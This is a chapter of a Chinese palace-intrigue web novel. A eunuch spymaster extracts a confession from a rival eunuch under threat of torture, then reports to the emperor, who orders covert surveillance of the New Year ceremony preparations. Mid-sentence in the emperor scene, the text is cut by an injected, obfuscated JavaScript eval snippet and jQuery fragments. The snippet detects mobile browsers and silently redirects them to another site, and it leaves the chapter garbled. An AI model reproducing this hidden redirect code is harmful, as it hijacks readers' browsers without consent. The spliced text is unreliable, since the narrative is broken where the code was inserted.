默认冷灰
24号文字
方正启体

77.第 78 章

作者:番茄炒蛋豪吃本书字数:K更新时间:
    天色,彻底亮了。


    内缉事厂所在的东安门北旧库房区域,比平日更显死寂,连栖在枯槐上的寒鸦都噤了声。


    厂内深处,一间特意辟出的狭长屋子,便是临时刑房。


    这里原是库房一角,没有窗,只有北墙上高高的几个透气孔,透下几缕天光,勉强照亮空气中浮动的尘埃。四壁是粗糙的夯土墙,刷了层暗色的灰浆,早已斑驳脱落,露出底下更暗的砖石。地面是夯实的泥地,泼过水,湿冷粘腻,散着一股混合了霉味和若有若无铁锈的怪味。


    屋子中央,立着两根黑黝黝的刑架,是用手臂粗的硬木钉成,上面浸染着深浅不一的污渍,不知是汗是血还是陈年的水渍。墙角堆着些生锈的铁链,粗糙的绳索,还有几个火盆,炭是冷的,盆边铁钩上挂着的几件说不出名目的铁器,在幽光下泛着不祥的暗色。


    空气冷得刺骨,比外面更甚,是那种钻入骨髓,凝滞不动的阴寒。


    周如意就被绑在左边的刑架上。他的头发散乱地贴在冷汗涔涔的额角和脸颊,嘴唇冻得青紫,双手被粗糙的麻绳高高吊起,脚尖勉强点地,身上的太监常服早已被剥去,只余一身单薄的白色中衣,此刻被冷汗和地上溅起的泥水打湿,紧贴在身上,勾勒出他因恐惧而不断哆嗦的瘦削身形。


    他瞪着一双布满血丝的眼睛,死死盯着门口的方向。


    门被推开。


    一股更凛冽的寒气涌入,随之进来的,是一道绯红的身影。


    关禧走了进来。他只着了内里的绯红蟒纹常服,外罩一件玄色暗纹的厚绒披风,披风边缘缀着深色的风毛,随着他的步伐拂动。头发一丝不苟地用金簪束在头顶,露出整张白皙的脸。许是屋内光线太暗,他脸上没什么血色,唯有那双凤眼,在晦暗的光线下,亮得惊人,平静地扫过屋内的一切,最后落在刑架上的周如意身上。


    他身后,跟着两名同样换了深青色厂役常服,腰佩绣春刀的番子,还有负责记录的司房太监,捧着纸笔,立在门边阴影里。


    “咯吱——”门被从外面掩上,隔绝了最后一点外间的微光。


    关禧缓步走到屋子中央,离刑架几步远的地方站定,解开了披风的系带。


    身后的番子立刻上前,接过披风,退到一旁。


    “周如意。”关禧说着,目光掠过墙角的刑具,又落回周如意脸上,“知道为什么带你来这儿么?”


    “关禧!”周如意用力一挣,绳索勒进皮肉,带来一阵刺痛,他嘶声道,试图用司礼监和太后的名头壮胆,声音却抖得厉害,更显得色厉内荏,“你……你滥用私刑!构陷忠良!我、我司礼监的人,岂是你能随意抓捕审问的?郑公公不会放过你!太后娘娘也不会由着你胡来!快放了我!”


    关禧对他的反应早有预料,踱步到墙边,指尖拂过一根铁链,“构陷忠良?周公公抬举自己了。本督奉旨稽查宫闱流言,人证物证俱在,指向你与玉芙宫宫人私相授受,泄露禁中语,搅乱宫闱。此乃大罪,何来构陷?”


    “我没有!”周如意尖叫起来,眼睛瞪得几乎要裂开,“什么玉芙宫宫人?什么泄露禁中语?我根本不知道!定是有人陷害我!对……是陷害!关禧,是你!你看不惯我在司礼监,你想铲除异己!你休想得逞!”


    他颠来倒去地否认,喊冤,试图将水搅浑。


    关禧耐心地听着,等他喊得声嘶力竭,只剩下粗重的喘息时,才缓缓道:“看来,周公公是不见棺材不落泪了。”他转向那名捧着簿册的司房太监,“念。”


    司房太监上前一步,翻开簿册,用平板无波的声音念道:“永昌五年冬,十月廿三,戌时二刻,司礼监随堂太监周如意,私出直房,于北三所夹道暗处,与玉芙宫大宫女翠浓密会,交递物件一包,状似香囊。十月廿八,申时末,二人复于御花园西侧废弃茶房后相见,交谈约半柱香。十一月初五,入夜后……”


    一条条,时间,地点,人物,举动,清晰分明。虽然隐去了最核心的“对食”字眼,但如此频繁隐秘的私会,足以说明一切,且时间就在最近,恰与流言开始滋生的时段吻合。


    周如意的脸色随着每一条念出而愈加惨白,嘴唇哆嗦着,再也吐不出有力的辩驳,只剩下一声声无力的“胡说”、“不是这样的”。


    “这宫女翠浓,”关禧等司房太监念完,才慢条斯理地接口,“性子活泼,嘴也巧,很得徐昭容娘娘喜欢。她有个哥哥,在城南兵马司当个小旗,前些日子,好像刚凑钱买了一处小院?周公公在司礼监这些年,想必也攒了些体己。城南的房子,可不便宜。”


    “你……你怎么知道……”周如意脱口而出,随即意识到失言,猛地咬住嘴唇,鲜血的咸腥味在口中蔓延。


    关禧眼中掠过一丝了然,更多的是一种毫不掩饰的轻蔑,“本督怎么知道不重要。”他走近两步,停在刑架前,俯身,看着周如意那双因为恐惧和秘密被揭穿而混乱不堪的眼睛,“重要的是,现在,本督知道了。太后娘娘,也知道了。”


    “太后……”周如意像是抓住了最后一根稻草,眼中燃起一丝希望的火苗,立刻又被关禧接下来的话浇灭。


    “太后娘娘体恤陛下肃清宫闱之心,对于此等败坏宫规、传播流言之行,深恶痛绝。”关禧直起身,语气转冷,“周如意,你与宫女翠浓对食,已是触犯宫规重条。更遑论,经由你二人之口,那些关于陛下、关于后宫、关于朝局的闲言碎语,像毒瘴一样在宫里蔓延。你说,太后娘娘,是会保你这个坏了规矩又长了舌头的奴才,还是会彻查到底,以正视听?”


    周如意眼中的希望彻底熄灭了,只剩下深不见底的绝望。他明白了,自己成了那颗被踢出来的棋子。太后需要给皇帝一个交代,一个够分量,又不会真正伤及核心的交代。而他,一个与玉芙宫有染,确有把柄在手的司礼监中层太监,再合适不过。既迎合了皇帝整顿宫闱的意图,敲打了徐昭容,又不会真的动摇太后自身的布局。


    “是翠浓……”他喉头滚动,声音干涩,“是她总爱打听,总爱说些有的没的。我、我有时顺着她说两句,但我没传播!没有!那些流言,不是我传的!真的不是我!”


    他开始下意识地撇清自己,将责任推向那个与他对食的宫女。


    夫妻本是同林鸟,大难临头各自飞。


    在这生死关头,那点见不得光的情谊,脆弱得不堪一击。


    关禧看着他急于推卸责任的丑陋模样,眼中那抹轻蔑愈发浓重,他见过硬骨头,见过软骨头,也见过周如意这种,平日或许有几分小聪明,仗着点权势钻营,一旦事败,立刻惶惶如丧家之犬,毫无担待,连曾经亲近之人也能毫不犹豫地出卖。


    这样的人,可怜,更可鄙。


    “翠浓如何,自有她的去处。本督现在问的是你,周如意。流言是如何从你们这里起头,又经何人之口扩散?一字一句,给本督说清楚。若有半句虚言……”


    他没有说下去,目光移向墙角那堆刑具。


    周如意顺着他的目光看去,身体颤抖起来,绑缚的绳索深深勒进皮肉。对翠浓的出卖没能换来宽恕,反而让他彻底看清了自己的处境。


    太后抛弃了他,关禧不会手软,那些刑具……


    “我说……我说……”他崩溃了,涕泪横流,“是……是有一次,翠浓伺候徐昭容娘娘时,听到娘娘和心腹嬷嬷抱怨,说陛下……陛下久不入后宫,只……只亲近些……不三不四的人……她当闲话说给我听……我、我那天喝多了点酒,跟手底下两个小火者吹牛……就……就漏了两句……后来,后来不知怎么,话就传变了样……越传越难听……我、我真的不知道后面会变成那样啊!关提督!关公公!饶命啊!看在我如实交代的份上,饶我一命吧!”


    他语无伦次,将所知的一切和盘托出,极力渲染自己的无心之失和可怜处境。


    关禧听他说完,脸上没什么表情。他转过身,对司房太监颔首。


    司房太监上前,快速记录下来刚才周如意供述的内容,然后捧着供词和印泥走到周如意面前。


    “画押。”


    周如意看着那白纸黑字,手指抖得厉害,这一押下去,就再无回头路了。但在关禧冰冷的目光和墙角刑具无形的压迫下,他还是颤巍巍地按下了手印。


    鲜红的指印,像一道催命符。


    关禧接过供词,扫了一眼,折叠起来,放入袖中。


    “带下去,单独关押,严加看管。”他吩咐道,声音恢复了之前的平静。


    两名番子上前,解下瘫软如泥的周如意,拖了出去。湿冷的地面上,留下一道蜿蜒的水渍和拖痕。


    刑房内重新安静下来,只剩下关禧和记录太监。


    关禧站在原地,望着那空了的刑架,和墙角幽冷的铁器,绯红的衣袖下,手指蜷缩了一下。


    周如意是替罪羊,没错。但这只羊,本身也不干净。太后的算计,皇帝的意图,司礼监的怨愤,徐昭容的可能牵连,都随着这份供词,暂时找到了一个宣泄口。


    而他,关禧,内缉事厂的提督太监,亲手完成了这次收割。用威吓,用情报,用对人性的洞悉,更用这身绯红蟒袍所代表皇帝特许的生杀予夺之权。


    他缓缓吐出一口气,那气息在空气中凝成一小团白雾,又迅速消散。


    第一步,算是迈出去了。虽然踩着的,是别人的尸骨。


    “收拾干净。”


    他对留下的司房太监吩咐了一句,然后转身,重新披上那件玄色披风,推开门,走进了外面逐渐明亮起来的晨光之中。


    冬日的阳光惨白,没什么温度,落在旧库房斑驳的灰墙上,更显得这处新立的衙门孤兀。庭院里,那株老槐光秃秃的枝桠指着铅灰色的天空,几只寒鸦扑棱棱飞起,留下一串暗哑的啼鸣。


    一夜未眠,加上清晨这番审讯,关禧精神其实已有些疲惫。


    “督主,早膳备在东厢了,是刚送来的,还热着。”双喜走上前,声音比往常更低,更恭顺,眼神始终垂着,不敢乱瞟。


    关禧“嗯”了一声,举步向东厢走去。那是将原先一间堆放杂物的耳房收拾出来,勉强充作他用膳歇息之处,比不得乾元殿那处院落,但也算干净。


    推开东厢的门,一股暖意混合着食物的香气扑面而来。炭盆烧得正旺,一张不大的方桌上,摆着一碗熬得浓稠金黄的小米粥,一碟酱瓜,一碟香油拌的咸菜丝,还有两个白胖的馒头,正冒着丝丝热气。


    极其简单的饭食,却难得地透着烟火气,在这处处透着算计的宫闱里,竟让人生出一点恍惚的暖意。


    关禧在桌边坐下,拿起一个馒头,掰开,就着咸菜,慢慢吃起来。小米粥熬得火候正好,入口温润,顺着食道滑下,驱散了肺腑间残留的寒意。他吃得不快,细嚼慢咽,似乎很珍惜这片刻的安宁,又像是在整理方才审讯所得的种种信息,将它们分门别类,纳入脑中那张日益复杂的权力图谱。


    双喜和贵平候在门外,屏息凝神,连廊下偶尔路过的番役都放轻了脚步。


    用完早膳,关禧又饮了半盏热茶,才起身。他换上了一身更为正式的绯色蟒袍,蟒纹更加清晰狰狞,随即将绣春刀悬在腰间,刀柄上的红色流苏垂落,随着他的步伐晃动。


    收拾停当,已是辰时三刻。他该去复命了。


    乾元殿的书房,萦绕着龙涎香与墨香混合的气息。


    窗外的日光透过细密的茜纱,在地面投下模糊的光斑。


    萧衍今日独自坐在御案后,手里拿着一份奏章,有些心不在焉,指尖敲击着光滑的紫檀木桌面。


    听到通传,他抬起头,目光落在进门的关禧身上,在那身崭新的绯红和腰间佩刀上停留了一瞬。


    “陛下,”关禧在御案前跪下,双手将那份墨迹新鲜的供词高举过头顶,“奴才奉旨稽查流言,已有结果。司礼监随堂太监周如意,与玉芙宫大宫女翠浓对食,私


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152457|192226||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下传递禁中消息,确系流言最初散播者之一。周如意已供认不讳,画押在此。另,浣衣局相关人证也已讯问,证词相符。请陛下御览。”


    他的声音平稳,没有刻意渲染审讯过程,也没有表功,只是客观陈述结果,呈上供词。


    孙得禄上前,接过供词,放在御案上。


    萧衍拿起那份供词展开,目光快速扫过。看到周如意和翠浓的名字,看到那些具体的时间地点,看到最后那句声泪俱下的“饶命”,他嘴角向下抿了抿,透出一丝讥诮。


    “周如意……”他放下供词,指尖在那名字上点了点,“司礼监的人,果然勤勉。连后宫妃嫔身边的宫女都能勾连上,这耳目倒是灵通。”


    他这话意有所指,显然不只是针对周如意个人。


    “人现在何处?”萧衍问。


    “回陛下,已单独收押在内缉事厂,严加看管。”


    “嗯。”萧衍靠向椅背,目光重新落在关禧身上,这一次,带上了几分审视的意味,“此事,永寿宫那边可有什么说法?”


    关禧心领神会,皇帝这是在问太后在此事中的态度。他垂眸,谨慎答道:“奴才查办过程中,永寿宫太后娘娘体恤陛下肃清宫闱之心,曾……予以协助,提供了部分线索。昨夜,娘娘亦召见奴才,言明对此等败坏宫规、传播流言之行深恶痛绝,望奴才秉公查办,以正视听。”


    他将太后提供线索和召见的事情,以一种支持陛下工作的正面姿态说出,既回应了皇帝的试探,也间接点明了太后在此事上的退让姿态。


    萧衍听了,沉默了片刻,手指在扶手上敲击着,发出极有节奏的“笃笃”声。


    书房内一时静极,只有更漏滴滴答答。


    良久,他忽然笑了一声,那笑声很短,带着一种复杂的情绪,像是终于扳回一城的快意,又像是对某种心照不宣默契的了然。


    “深恶痛绝,以正视听,”他重复着这两个词,摇了摇头,“母后总是这般顾全大局。”


    他顿了顿,看向关禧的眼神里,多了一丝明确的赞许:“此事你办得利落。周如意,按宫规处置,从重。至于那个宫女翠浓,玉芙宫如今有孕,不宜大动干戈,暂且记下。徐昭容那里,朕自会敲打。”


    “奴才遵旨。”关禧应道。皇帝的处理方式在他的预料之中,周如意是必须抛出去给各方看的果子,翠浓和徐昭容则暂时不动,这是权衡,也是给太后和朝野一个看似公允的姿态。


    “内缉事厂此番初试锋芒,还算不错。”萧衍语气缓和了些,“规矩立起来了,人也动了,差事也办了。关禧,你没让朕失望。”


    “谢陛下信重,奴才分内之事。”关禧再次躬身。


    “不过,”萧衍话锋一转,目光锐利起来,“树欲静而风不止。周如意不过是个开始。司礼监经此一事,必生怨怼。太后那里……”他停顿了一下,没有深说,但意思已然明了,“年关将至,宫里宫外,事情只会更多,不会更少。”


    他身体前倾,声音压低了些:“腊月起,宫中便要开始筹备元旦大典。一应仪程、布置、采买、赏赐,千头万绪,油水丰厚之处也多。往年这都是内官监、司设监、御用监还有光禄寺的差事,里头门道多了。”


    关禧明白了皇帝的暗示。元旦大典是皇家最隆重的庆典之一,从腊月一直持续到正月初,其间涉及的银钱物资流动极其庞大,历来是各方势力伸手捞油水,安插人手,彰显存在感的绝佳时机。皇帝将此事点出,显然不是让他去负责具体筹备,那不符合内缉事厂的职能,也容易引来更大的反弹。


    “你的内缉事厂,给朕盯紧了。”萧衍的语气不容置疑,“明面上的差事自有各司其职,朕不要你越俎代庖。但暗地里的眼睛,得给朕睁大。哪些人手脚不干净,哪些环节虚报冒领,哪些人借着筹备之名行钻营苟且之事……特别是,司礼监、永寿宫那边,有没有借着年节往来,行些不合规矩的勾当。朕要你暗中查访,一一记下。不必即刻发作,但账,得给朕算清楚。”


    “奴才明白。”关禧肃然应道。这任务比查办周如意更复杂,也更考验内缉事厂的渗透和侦察能力。监督年节筹备,等于将监察的触角伸向了内廷最核心也最敏感的利益分配领域,风险巨大,但若能做出成绩,内缉事厂的地位将真正稳固。


    “嗯。”萧衍有些倦了,挥了挥手,“去办吧。周如意的处置,稍后朕会让孙得禄传旨。年节筹备的事情,你心里有数即可,暗中布置,不必声张。”


    “是,奴才告退。”关禧行礼,缓缓退出书房。


    出了乾元殿,冬日的阳光照在身上,没什么暖意。


    关禧沿着宫道慢慢走着,脑中飞速消化着方才与皇帝的对话。


    太后退了一小步,交出了周如意,皇帝显然乐见其成,但并未得意忘形,反而更加警惕。年节筹备的监督任务,是信任,也是新的考验。


    回到内缉事厂,何璋早已候在值房外,见到他,连忙上前,低声禀报周如意已被严密关押,厂内番役经过清晨一事,士气振作了不少,但暗地里各种揣测和不安也在滋生。


    关禧听着,淡淡吩咐:“按陛下旨意,准备处置周如意。另外,从今日起,抽调精干人手,两人一组,开始熟悉光禄寺、司设监、御用监等处年节采买、支领、匠作往来的常规流程与路径。不要打听,只需观察、记录。所有记录,每晚交到档房,由你初步整理。”


    何璋心神一凛,知道又有新任务,而且听起来比查流言更需小心。他连忙应下:“是,奴才这就去安排。”


    关禧走进值房,在书案后坐下。


    桌上摊开着京城及皇城的大致舆图,还有各部门的简要职司说明。他的目光落在舆图上标注出的光禄寺,内市,以及几处皇家作坊的位置上。


    元旦大典,这确实是个浑水摸鱼的好时候。


    也是他内缉事厂,真正将耳目无声无息渗透到宫廷各个角落的绝佳契机。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)